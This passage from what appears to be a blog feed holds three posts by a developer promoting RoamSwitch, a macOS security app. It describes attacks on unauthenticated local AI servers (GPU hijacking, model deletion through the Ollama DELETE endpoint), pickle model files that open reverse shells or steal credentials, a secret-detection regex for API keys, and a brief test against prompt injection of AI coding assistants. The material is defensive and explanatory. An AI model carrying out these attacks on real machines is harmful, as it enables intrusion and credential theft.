&lt;p&gt;To prevent AI coding assistants (Claude Desktop, Cursor) from being tricked by prompt injection into modifying security settings (Confused Deputy):&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;strong&gt;Test&lt;/strong&gt;:

&lt;ol&gt;
&lt;li&gt;Scanned &lt;code&gt;tools/list&lt;/code&gt; to enforce that &lt;strong&gt;0 mutating/exec tools&lt;/strong&gt; exist.&lt;/li&gt;
&lt;li&gt;Injected a pathological 60-level nested JSON payload to fuzz parser recursion limits.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Result&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[PASS] Read-Only Invariant Confirmed: 0 mutating tools found in MCP catalog
[PASS] Parser Robustness Confirmed: Malformed/pathological JSON safely rejected without crash
&lt;/code&gt;&lt;/pre&gt;

&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  5. ARP Gateway Monitor &amp;amp; Integrity (§11)
&lt;/h3&gt;

&lt;p&gt;Validates that the kernel ARP table tracking accurately binds default gateway IP to MAC address.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Result&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;? (192.168.64.1) at d2:c0:50:cd:95:64 on en0 ifscope [ethernet]
[PASS] Default gateway (192.168.64.1 -&amp;gt; d2:c0:50:cd:95:64) properly resolved and monitored
&lt;/code&gt;&lt;/pre&gt;

&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  The Most Realistic Threat: Compromised Smart Home Devices
&lt;/h2&gt;

&lt;p&gt;With smart plugs, IP cameras, and cheap IoT gadgets littered across modern home networks, rogue devices scanning the local subnet for lateral movement is no longer a theoretical edge case—it's an everyday reality.&lt;/p&gt;

&lt;p&gt;Even if you trust your home Wi-Fi, you can't guarantee every random device on that same subnet is clean.&lt;/p&gt;

&lt;p&gt;So I tested the most common real-world situation: &lt;strong&gt;"A compromised smart device on the home network tries to probe and attack the Mac."&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[Host Mac (Rogue IoT Device)]  ────── Lateral Probe ──────&amp;gt;  [Target Mac VM (Home Wi-Fi)]
 (192.168.64.1)                                               RoamSwitch Active (192.168.64.2)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;On the Target Mac&lt;/strong&gt;, I spun up a dev server:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;   python3 &lt;span class="nt"&gt;-m&lt;/span&gt; http.server 8080 &lt;span class="nt"&gt;--bind&lt;/span&gt; 0.0.0.0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;RoamSwitch&lt;/strong&gt; fired a notification immediately:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;🚨 &lt;strong&gt;Unknown Listening Port Automatically Blocked&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Detected process "Python" exposing port 8080 to external LAN. Automatically shielded external access.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;From the Attacker Node (Host)&lt;/strong&gt;, I tried to hit the server:&lt;br&gt;
&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;   % curl &lt;span class="nt"&gt;-I&lt;/span&gt; &lt;span class="nt"&gt;--connect-timeout&lt;/span&gt; 2 http://192.168.64.2:8080
   curl: &lt;span class="o"&gt;(&lt;/span&gt;28&lt;span class="o"&gt;)&lt;/span&gt; Failed to connect to 192.168.64.2 port 8080 after 2006 ms: Timeout was reached
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  The Efficacy
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;From the Outside&lt;/strong&gt;: The &lt;code&gt;pf&lt;/code&gt; firewall dynamically injected an inbound drop rule. The attacking IoT device got a dead timeout—it couldn't even tell a web service was running.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;For the Developer&lt;/strong&gt;: The Mac retained full access via &lt;code&gt;http://localhost:8080&lt;/code&gt; (&lt;code&gt;127.0.0.1&lt;/code&gt;), allowing normal local development without risk of lateral network intrusion.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Reproduce It Yourself: Open Source Audit Suite
&lt;/h2&gt;

&lt;p&gt;All scripts used in this audit are published under the open-source support repository:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git clone https://github.com/lafine1211/roamswitch-support
&lt;span class="nb"&gt;cd &lt;/span&gt;roamswitch-support/audit
./rs-defense-audit.sh all
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Live Audit Results Log&lt;/strong&gt;: &lt;a href="https://github.com/lafine1211/roamswitch-support/blob/main/audit/RESULTS-DEFENSE-2026-08-30.md" rel="noopener noreferrer"&gt;&lt;code&gt;audit/RESULTS-DEFENSE-2026-08-30.md&lt;/code&gt;&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Step-by-Step Guide&lt;/strong&gt;: &lt;a href="https://github.com/lafine1211/roamswitch-support/blob/main/audit/README-SECURITY.md" rel="noopener noreferrer"&gt;&lt;code&gt;audit/README-SECURITY.md&lt;/code&gt;&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  What it felt like seeing it work
&lt;/h2&gt;

&lt;p&gt;Even though I built the app, there was a genuine rush of satisfaction seeing &lt;code&gt;curl&lt;/code&gt; time out cleanly from the outside while &lt;code&gt;localhost&lt;/code&gt; kept humming along seamlessly on the inside (along with a sigh of relief that our defense rules didn't regress).&lt;/p&gt;

&lt;p&gt;In security software, claiming "it's secure" in marketing copy is cheap. Handing developers a runnable script that lets them attack the app and inspect the raw logs is the only honest way to build real trust.&lt;/p&gt;

&lt;p&gt;If you have a Mac and Tart handy, feel free to clone &lt;code&gt;roamswitch-support&lt;/code&gt; and try poking holes in &lt;code&gt;rs-defense-audit.sh&lt;/code&gt; yourself.&lt;/p&gt;

</description>
      <category>security</category>
      <category>macos</category>
      <category>virtualization</category>
      <category>swift</category>
    </item>
    <item>
      <title>The Hidden Security Blind Spots in Local AI Workflows</title>
      <dc:creator>Tetsuharu Fujiki</dc:creator>
      <pubDate>Sun, 30 Aug 2026 06:49:44 +0000</pubDate>
      <link>https://dev.to/lafine_systemsdesign/the-hidden-security-blind-spots-in-local-ai-workflows-apd</link>
      <guid>https://dev.to/lafine_systemsdesign/the-hidden-security-blind-spots-in-local-ai-workflows-apd</guid>
      <description>&lt;p&gt;&lt;em&gt;A Japanese version of this is &lt;a href="https://note.com/lafine/n/nd0f3fde3181c" rel="noopener noreferrer"&gt;on Note&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;An increasing number of engineers and creators are running local LLMs (via Ollama, LM Studio, vLLM) and generating images with Gradio / Stable Diffusion directly on their Macs. With modern Apple Silicon unified memory, 7B and 14B parameter models run blazingly fast on-device. Many choose local AI specifically for privacy, thinking &lt;em&gt;"My data never leaves my machine, so it must be secure."&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;However, the moment developers want to test inference from their phone or a secondary laptop, they follow common online guides and set &lt;code&gt;OLLAMA_HOST=0.0.0.0&lt;/code&gt; or pass &lt;code&gt;--host 0.0.0.0&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;And right there, a critical blind spot opens up:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;"Wait... binding to 0.0.0.0 doesn't just expose this to my phone—it allows literally anyone on the same network to query my Mac without any authentication."&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;As local AI tooling rapidly expands, network exposure, clipboard secrets, and model file formats remain dangerously overlooked. Here is what is actually exposed, and how we can secure our machines.&lt;/p&gt;




&lt;h2&gt;
  
  
  1. The 0.0.0.0 Trap: Local AI Inference Servers Are Unauthenticated by Default
&lt;/h2&gt;

&lt;p&gt;Whether it's Ollama (&lt;code&gt;11434&lt;/code&gt;), LM Studio (&lt;code&gt;1234&lt;/code&gt;), Gradio / Stable Diffusion WebUI (&lt;code&gt;7860&lt;/code&gt;), or vLLM (&lt;code&gt;8000&lt;/code&gt;), developers often configure &lt;code&gt;OLLAMA_HOST=0.0.0.0&lt;/code&gt; or pass &lt;code&gt;--host 0.0.0.0&lt;/code&gt; so they can test inference from a phone or a secondary laptop.&lt;/p&gt;

&lt;p&gt;The fundamental issue: &lt;strong&gt;almost all of these tools run without authentication by default.&lt;/strong&gt; (Ollama has no built-in API auth at all and requires an external reverse proxy, while vLLM or Gradio require explicit &lt;code&gt;--api-key&lt;/code&gt; or &lt;code&gt;auth=&lt;/code&gt; configuration that is rarely set up in casual local dev environments).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[Rogue Device on Shared Wi-Fi] ──── Unauthenticated HTTP Request ────&amp;gt; [Your Mac]
                                                                        Ollama (11434)
                                                                        - Free GPU compute hijacking
                                                                        - Unauthorized model downloads
                                                                        - Model deletion via DELETE API
                                                                        - Private prompt snooping
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you start an inference server on &lt;code&gt;0.0.0.0&lt;/code&gt; while connected to office Wi-Fi, a shared workspace, or even a home network with compromised IoT devices, anyone on the same subnet can simply send &lt;code&gt;curl&lt;/code&gt; requests to:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Hijack your GPU resources&lt;/strong&gt;: Run heavy batch jobs that drain your battery and turn your MacBook into a space heater.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Download massive models&lt;/strong&gt;: Trigger multi-gigabyte model pulls that fill up your SSD.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Wipe your local models&lt;/strong&gt;: Call &lt;code&gt;DELETE /api/delete&lt;/code&gt; and delete your weights.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Snoop on sensitive prompts&lt;/strong&gt;: Inspect prompt history and query private local endpoints.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;In RoamSwitch (1.5.1), I added proactive detection for local AI ports. The moment Ollama, LM Studio, Gradio, or vLLM binds to &lt;code&gt;0.0.0.0&lt;/code&gt;, the app fires an alert and lets the packet filter (&lt;code&gt;pf&lt;/code&gt;) automatically shield external inbound connections while preserving your own &lt;code&gt;localhost&lt;/code&gt; access.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. Accidental Clipboard Secret Leaks (Cmd+V Muscle Memory)
&lt;/h2&gt;

&lt;p&gt;Another ubiquitous hazard in AI development is &lt;strong&gt;API key leakage via the system clipboard&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;You copy an OpenAI, Anthropic, HuggingFace, AWS, or GitHub personal access token from a web dashboard to paste into a local &lt;code&gt;.env&lt;/code&gt; file. A minute later, you switch to Slack or a public AI chat box, intend to paste a URL, and muscle memory hits &lt;code&gt;Cmd+V&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;If that paste goes through to a public channel or web forum, automated scrapers pick it up in seconds, resulting in leaked infrastructure credentials or thousands of dollars in unauthorized API usage.&lt;/p&gt;

&lt;p&gt;In version 1.5.2, I built a purely local &lt;strong&gt;Clipboard Secret Checker&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Runs regex pattern matching against known API key structures (OpenAI &lt;code&gt;sk-proj-...&lt;/code&gt;, Anthropic &lt;code&gt;sk-ant-...&lt;/code&gt;, GitHub &lt;code&gt;ghp_...&lt;/code&gt;, HuggingFace &lt;code&gt;hf_...&lt;/code&gt;, AWS, Gemini, SSH private keys).&lt;/li&gt;
&lt;li&gt;Operates with &lt;strong&gt;Zero Telemetry&lt;/strong&gt; (100% on-device, zero outbound network packets).&lt;/li&gt;
&lt;li&gt;Warns immediately: &lt;code&gt;🚨 Secret Detected on Clipboard (OpenAI API Key)&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Having a subtle heads-up before pasting has saved me from accidental leaks multiple times.&lt;/p&gt;




&lt;h2&gt;
  
  
  3. Can Downloading an AI Model Hack Your Mac? The Pickle Trap
&lt;/h2&gt;

&lt;p&gt;When downloading models, checkpoints, or LoRA weights from HuggingFace or Civitai, how often do you look at the file extension?&lt;/p&gt;

&lt;p&gt;In AI, model files fall into two very different categories: &lt;strong&gt;safe&lt;/strong&gt; and &lt;strong&gt;dangerous&lt;/strong&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why &lt;code&gt;.pkl&lt;/code&gt; and &lt;code&gt;.pt&lt;/code&gt; files are hazardous
&lt;/h3&gt;

&lt;p&gt;Normally, an image (&lt;code&gt;.png&lt;/code&gt;) or data file (&lt;code&gt;.json&lt;/code&gt;) is passive data—opening it doesn't run code on your machine.&lt;/p&gt;

&lt;p&gt;However, Python's legacy serialization format &lt;strong&gt;Pickle (&lt;code&gt;.pkl&lt;/code&gt;, &lt;code&gt;.pickle&lt;/code&gt;, &lt;code&gt;.pt&lt;/code&gt;)&lt;/strong&gt; doesn't just store numbers; it packages &lt;strong&gt;executable Python bytecode&lt;/strong&gt;. &lt;/p&gt;

&lt;p&gt;When Python or PyTorch unpickles the file (e.g., via &lt;code&gt;torch.load()&lt;/code&gt;), it automatically executes that embedded code &lt;strong&gt;without asking for permission&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;If an attacker uploads a backdoored &lt;code&gt;.pt&lt;/code&gt; checkpoint to a model hub, simply loading the weights can instantly:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Spawn a hidden reverse shell in the background&lt;/li&gt;
&lt;li&gt;Steal your SSH keys, AWS credentials, and browser cookies&lt;/li&gt;
&lt;li&gt;Plant persistent malware on your Mac&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  The Solution: SafeTensors and GGUF
&lt;/h3&gt;

&lt;p&gt;To solve this fatal flaw, HuggingFace and the open-source community created &lt;strong&gt;&lt;code&gt;SafeTensors&lt;/code&gt; (&lt;code&gt;.safetensors&lt;/code&gt;)&lt;/strong&gt; and &lt;strong&gt;&lt;code&gt;GGUF&lt;/code&gt; (&lt;code&gt;.gguf&lt;/code&gt;)&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;As the name implies (&lt;strong&gt;Safe&lt;/strong&gt; Tensors), these formats are engineered to store &lt;strong&gt;pure tensor numbers and metadata only&lt;/strong&gt;. Because they contain zero executable code structures, it is mathematically impossible for a &lt;code&gt;.safetensors&lt;/code&gt; file to run malware when opened.&lt;/p&gt;

&lt;p&gt;While modern models predominantly use SafeTensors, legacy checkpoints and community uploads still often use Pickle.&lt;/p&gt;

&lt;p&gt;In version 1.5.2, RoamSwitch watches the Downloads folder. The moment a &lt;code&gt;.pkl&lt;/code&gt; or &lt;code&gt;.pt&lt;/code&gt; AI model is downloaded, it gives you a friendly nudge: &lt;em&gt;"This file is in Pickle format and capable of executing arbitrary code. Prefer SafeTensors or GGUF whenever possible."&lt;/em&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  4. Letting AI Audit Its Own Environment via MCP
&lt;/h2&gt;

&lt;p&gt;In version 1.5.3, I expanded the bundled &lt;strong&gt;Model Context Protocol (MCP) server&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Now, when using Claude Desktop, Cursor, or an autonomous AI agent, you can ask in plain English:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;User&lt;/strong&gt;: "Is my local Ollama or dev environment exposed to the Wi-Fi right now?"&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Claude (via MCP &lt;code&gt;get_exposed_ports&lt;/code&gt;)&lt;/strong&gt;:&lt;br&gt;
"I inspected your listening ports. Port 11434 (Ollama) is currently bound to &lt;code&gt;0.0.0.0&lt;/code&gt;, but is shielded by RoamSwitch's firewall. To adhere to best practices, I recommend launching Ollama with &lt;code&gt;OLLAMA_HOST=127.0.0.1&lt;/code&gt;."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Because the MCP server is strictly &lt;strong&gt;Read-Only&lt;/strong&gt; (zero mutating tools), the AI acts as a trusted sensory organ for your Mac without risk of Confused Deputy attacks.&lt;/p&gt;




&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Running AI locally is liberating, but our development setups shouldn't leave the front door wide open.&lt;/p&gt;

&lt;p&gt;Checking your listeners with &lt;code&gt;sudo lsof -i -P | grep LISTEN&lt;/code&gt; takes five seconds, and keeping local inference bound to &lt;code&gt;127.0.0.1&lt;/code&gt; should be the default for all of us.&lt;/p&gt;

&lt;p&gt;If you want an automated safety net that watches over your local AI ports, clipboard secrets, and network boundaries without phoning home, &lt;a href="https://lafine.net/" rel="noopener noreferrer"&gt;RoamSwitch&lt;/a&gt; is built exactly for that.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>macos</category>
      <category>security</category>
      <category>llm</category>
    </item>
    <item>
      <title>Nobody searches for security apps. So I made mine a tool for AI agents instead.</title>
      <dc:creator>Tetsuharu Fujiki</dc:creator>
      <pubDate>Sat, 29 Aug 2026 15:08:29 +0000</pubDate>
      <link>https://dev.to/lafine_systemsdesign/nobody-searches-for-security-apps-so-i-made-mine-a-tool-for-ai-agents-instead-195g</link>
      <guid>https://dev.to/lafine_systemsdesign/nobody-searches-for-security-apps-so-i-made-mine-a-tool-for-ai-agents-instead-195g</guid>
      <description>&lt;p&gt;&lt;em&gt;A Japanese version of this is &lt;a href="https://note.com/lafine/n/n165c46787584" rel="noopener noreferrer"&gt;on Note&lt;/a&gt;.&lt;/em&gt;&lt;br&gt;&lt;br&gt;
&lt;em&gt;(This is Part 2 of the solo-security-dev series. Part 1 on the trust barrier is &lt;a href="https://dev.to/lafine_systemsdesign/the-app-was-the-easy-part-getting-anyone-to-trust-a-security-tool-from-a-solo-dev-wasnt-47h4"&gt;here&lt;/a&gt;.)&lt;/em&gt;&lt;/p&gt;



&lt;p&gt;In my &lt;a href="https://dev.to/lafine_systemsdesign/the-app-was-the-easy-part-getting-anyone-to-trust-a-security-tool-from-a-solo-dev-wasnt-47h4"&gt;previous post&lt;/a&gt;, I wrote about the trust problem: how an unknown solo dev gets anyone to install a root-privileged Mac security app when they have no brand to hide behind.&lt;/p&gt;

&lt;p&gt;I published the security whitepaper, open-sourced the detection logic, built a verify script, and made license activation fully offline using Ed25519 signatures.&lt;/p&gt;

&lt;p&gt;At the very end of that article, under "What I still haven't solved," I left this note:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Just being found at all.&lt;/strong&gt; Unknown, near-zero ad budget. You can build something good and still not get discovered. Separate post.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This is that post. &lt;strong&gt;How does an indie developer get a Mac security tool discovered when you can't be on the App Store, you have zero ad budget, and nobody is actively looking for what you built?&lt;/strong&gt;&lt;/p&gt;


&lt;h2&gt;
  
  
  The structural curse of security software
&lt;/h2&gt;

&lt;p&gt;With most indie apps — say, a Pomodoro timer or a Markdown notes app — there is a clear discovery path. People search "best Mac timer," or you get featured on the App Store, or you tweet a nice UI screenshot and pick up organic interest.&lt;/p&gt;

&lt;p&gt;For a network security app like &lt;a href="https://lafine.net/" rel="noopener noreferrer"&gt;RoamSwitch&lt;/a&gt;, none of those work:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;You can't get on the Mac App Store.&lt;/strong&gt; The app dynamically reconfigures the packet filter (&lt;code&gt;pf&lt;/code&gt;) and kills sharing daemons when you join an untrusted coffee-shop Wi-Fi. That requires a privileged helper (&lt;code&gt;SMAppService.daemon&lt;/code&gt;), which Apple's sandbox rejects.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Zero ad budget.&lt;/strong&gt; Burning thousands of dollars a month on Google Ads or sponsored tweets is out of the question for a project born out of personal curiosity and research.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Nobody wakes up and searches for security tools.&lt;/strong&gt; People don't look for security software proactively. They either install something after getting burned, or their employer forces an MDM profile onto their machine.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Tweeting "Hey, I built an app that automatically tightens your Mac firewall!" produced the expected result: absolute silence.&lt;/p&gt;

&lt;p&gt;Trying to reach individual human users through conventional front-door marketing was structurally broken.&lt;/p&gt;


&lt;h2&gt;
  
  
  Flipping the script: from "sell to humans" to "feed AI agents"
&lt;/h2&gt;

&lt;p&gt;I stopped and looked at what the app actually does.&lt;/p&gt;

&lt;p&gt;It sits in the menu bar and continuously evaluates questions like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;em&gt;Is the current Wi-Fi network trusted or hostile?&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Did a local dev server accidentally bind to &lt;code&gt;0.0.0.0&lt;/code&gt;, exposing internal ports to the whole coffee shop?&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Is this incoming URL doing suspicious multi-hop redirects or pointing to a known malicious domain?&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Then it hit me: &lt;strong&gt;The human at the keyboard doesn't want to babysit these questions. But the AI agent sitting next to them in Cursor or Claude Code desperately needs to know.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;When an AI coding agent runs in your terminal, it spins up servers, hits local ports, and fetches external URLs autonomously. But the AI has zero sensory awareness of the physical environment. It doesn't know you just hopped onto an insecure airport network, or that &lt;code&gt;vite dev&lt;/code&gt; just bound to all interfaces on a public LAN.&lt;/p&gt;

&lt;p&gt;What if, instead of asking humans to look at my menu bar UI, I turned the app into &lt;strong&gt;the sensory organ for AI agents&lt;/strong&gt;?&lt;/p&gt;


&lt;h3&gt;
  
  
  Step 1: Embedding an MCP (Model Context Protocol) Server
&lt;/h3&gt;

&lt;p&gt;I bundled an open-standard &lt;strong&gt;MCP server&lt;/strong&gt; directly inside the app binary.&lt;/p&gt;

&lt;p&gt;With a single line in Claude Desktop or Cursor's config, the AI model gains direct access to local security tools:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;get_security_report&lt;/code&gt;: Overall posture score and passing/failing audit items.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;get_exposed_ports&lt;/code&gt;: List of listening ports exposed beyond localhost, with risk ratings.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;get_guard_status&lt;/code&gt;: Active security level (&lt;code&gt;open&lt;/code&gt; / &lt;code&gt;balanced&lt;/code&gt; / &lt;code&gt;lockdown&lt;/code&gt;) and active guards.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;audit_url_safety&lt;/code&gt;: Real-time redirect chain expansion and safety scoring for URLs.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Now, when a developer tells Claude, &lt;em&gt;"Start the dev environment for this project,"&lt;/em&gt; the AI can call &lt;code&gt;get_exposed_ports&lt;/code&gt; under the hood and say:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"I started the development server on port 3000, but RoamSwitch reports it bound to &lt;code&gt;0.0.0.0&lt;/code&gt; on an untrusted public Wi-Fi network. Would you like me to reconfigure it to bind only to &lt;code&gt;127.0.0.1&lt;/code&gt;?"&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The app moved from "an annoying alert in the menu bar" to "invisible local infrastructure for AI workflows."&lt;/p&gt;


&lt;h3&gt;
  
  
  Step 2: Open-sourcing a read-only Swift SDK (RoamSwitchKit)
&lt;/h3&gt;

&lt;p&gt;Next, I extracted the client layer into a standalone Swift package, &lt;a href="https://github.com/lafine1211/RoamSwitchKit" rel="noopener noreferrer"&gt;RoamSwitchKit&lt;/a&gt;, and open-sourced it under MIT.&lt;/p&gt;

&lt;p&gt;Any Mac utility, status bar tool, or CLI can query RoamSwitch with a few lines of Swift Concurrency:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight swift"&gt;&lt;code&gt;&lt;span class="kd"&gt;import&lt;/span&gt; &lt;span class="kt"&gt;RoamSwitchKit&lt;/span&gt;

&lt;span class="k"&gt;do&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;client&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="kt"&gt;RoamSwitchClient&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;ports&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exposedPorts&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;isFirewallShielded&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="c1"&gt;// Handle unshielded network state&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="kt"&gt;RoamSwitchClientError&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;appNotInstalled&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// Gracefully degrade if the user doesn't have RoamSwitch&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The architectural rule here was strict: &lt;strong&gt;Zero write APIs.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;There is intentionally no method to lower security levels, disable guards, or unblock ports. If the SDK had mutation endpoints, it would become an attack vector for other local processes. By making it 100% read-only diagnostic data, integrating it carries zero liability for third-party developers.&lt;/p&gt;

&lt;p&gt;I also added an &lt;a href="https://github.com/lafine1211/RoamSwitchKit/blob/main/AGENTS.md" rel="noopener noreferrer"&gt;&lt;code&gt;AGENTS.md&lt;/code&gt;&lt;/a&gt; file to the repository so AI coding tools don't hallucinate non-existent write methods when generating integration code.&lt;/p&gt;




&lt;h3&gt;
  
  
  Step 3: Publishing the battle scars instead of marketing fluff
&lt;/h3&gt;

&lt;p&gt;If you can't pay for ads, your only currency is primary source knowledge.&lt;/p&gt;

&lt;p&gt;Nobody wants to read "Why our security app is great." But engineers &lt;em&gt;love&lt;/em&gt; reading about weird edge cases, packet-level breakdowns, and embarrassing development mistakes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Packet-capturing coffee-shop Wi-Fi:&lt;/strong&gt; Breaking down why client isolation fails in practice when attackers use ARP spoofing.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fuzzing my own MCP server:&lt;/strong&gt; How open-sourcing the server made me paranoid enough to run a fuzzer, which promptly uncovered a stack overflow crash inside Apple's own &lt;code&gt;JSONSerialization&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Zero Telemetry audit:&lt;/strong&gt; Wiretapping my own app with Wireshark and &lt;code&gt;tcpdump&lt;/code&gt; under full lockdown to prove that zero bytes leave the machine.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;When you publish deep-dive technical logs, you aren't "marketing." You're documenting real work. And the developers reading those articles think: &lt;em&gt;“Okay, this person isn't cutting corners. Let me try their tool.”&lt;/em&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  What I've learned so far
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. Offering "parts" has far less friction than offering a "shield"
&lt;/h3&gt;

&lt;p&gt;Asking someone to trust a solo developer's app as their primary security shield is a huge psychological barrier. But offering an MCP tool for Claude, or an open-source Swift package for diagnostics, turns it into a useful component. Developers are much more willing to test-drive a piece of tooling than an all-or-nothing security suite.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. The gap between "discovered" and "purchased" is wide
&lt;/h3&gt;

&lt;p&gt;Turning the app into AI infrastructure solved the discovery problem. People find the repo, try the MCP server, and read the articles.&lt;/p&gt;

&lt;p&gt;However, bridging the gap between &lt;em&gt;"I use the free MCP integration during dev"&lt;/em&gt; and &lt;em&gt;"I will pay $19.99 for the standalone Pro automation features"&lt;/em&gt; is still a significant hurdle. When you give away the diagnostic tools for free, some users will naturally stop there — and that's the tradeoff of building on open standards.&lt;/p&gt;




